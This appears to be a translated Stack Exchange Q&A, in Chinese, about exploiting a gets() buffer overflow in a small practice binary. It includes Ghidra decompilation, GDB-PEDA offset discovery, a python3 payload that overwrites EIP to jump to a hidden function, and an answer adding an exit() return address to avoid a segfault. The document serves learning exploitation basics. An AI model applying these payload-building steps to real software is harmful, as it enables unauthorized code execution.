缓冲区溢出仅作用于特定函数:第二个秘密函数为何无法执行?
缓冲区溢出利用问题:第二个秘密函数执行后触发段错误
我尝试利用缓冲区溢出漏洞,成功执行了第一个秘密函数hidden_function,但执行第二个函数debug_database_in_development时,虽然函数逻辑能正常跑完(输出了读取数据库的内容),但最后会触发段错误。以下是完整细节:
主函数(Ghidra反编译结果)
bool main(undefined param_1) { int iVar1; bool bVar2; char local_28 [20]; int local_14; undefined1 *local_10; local_10 = ¶m_1; local_14 = 0; puts("Indique o seu primeiro nome: "); gets(local_28); iVar1 = check_human_comprehension(); if (iVar1 != 0) { local_14 = 1; } bVar2 = local_14 == 0; if (bVar2) { puts(&DAT_0001219c); } else { printf(&DAT_00012158,local_28); } return bVar2; }
秘密函数地址(GDB-PEDA输出)
gdb-peda$ p hidden_function $1 = {<text variable, no debug info>} 0x565561fd <hidden_function> gdb-peda$ p debug_database_in_development $2 = {<text variable, no debug info>} 0x56556228 <debug_database_in_development>
两个秘密函数代码
hidden_function
void hidden_function(void) { puts(s_Congra_ts_secret_function00012008); return; }
debug_database_in_development
void debug_database_in_development(void) { puts("Reading human users database..."); system("cat file.bin"); puts("\nFinished reading human users database..."); return; }
利用代码与执行结果
利用代码:
python3 -c 'print("A" * 28 + "\x28\x62\x55\x56")'
生成的payload:
AAAAAAAAAAAAAAAAAAAAAAAAAAAA(bUV
执行程序的输出:
./demo2 First Name: asd Are you human? AAAAAAAAAAAAAAAAAAAAAAAAAAAA(bUV Reading human users database... This file should be read from inside the vulnerable code. Finished reading human users database... zsh: segmentation fault ./demo2
偏移量查找步骤(GDB-PEDA)
- 启动GDB加载可执行文件
gdb executable
- 生成100长度的模式字符串
gdb-peda$ pattern create 100 AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
- 运行程序并输入上述模式字符串
First Name: asd Are you human? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
- 查看崩溃时EIP寄存器的值
... EIP: 0x413b4141 ('AA;A') ...
- 计算覆盖EIP的偏移量
gdb-peda$ pattern offset AA;A AA;A found at offset: 28
问题原因与解决方法
触发段错误的核心原因是:debug_database_in_development函数执行完毕后,没有正确的返回地址可以跳转。当我们用缓冲区溢出覆盖EIP跳转到目标函数时,函数执行完会尝试从栈上取出原本的返回地址继续执行,但这个地址已经被我们的payload覆盖成无效值(比如'A'对应的0x41),所以会触发段错误。
hidden_function执行后没触发段错误只是巧合——比如它执行完后跳转的无效地址刚好没触发崩溃,或者程序后续逻辑没有敏感操作。
解决方法:
- 添加合法返回地址:在函数地址后追加合法的返回地址(比如程序中main函数的结尾、exit函数的地址),让函数执行完后能正常跳转。示例payload(需根据实际环境获取exit函数地址):
python3 -c 'print("A"*28 + "\x28\x62\x55\x56" + "\x90"*16 + "\x30\xa6\xe1\xf7")' - 直接调用exit终止程序:在payload中覆盖栈上的返回地址为exit函数地址,让
debug_database_in_development执行完后直接退出程序,避免无效跳转。 - 调整栈帧对齐:部分系统要求栈帧对齐,若目标函数调用了system等函数,可能因栈对齐问题导致后续崩溃。可在函数地址前添加若干NOP指令(
\x90)调整payload长度来对齐栈。
内容的提问来源于stack exchange,提问作者Rui Vitorino
相关产品推荐
相关产品推荐

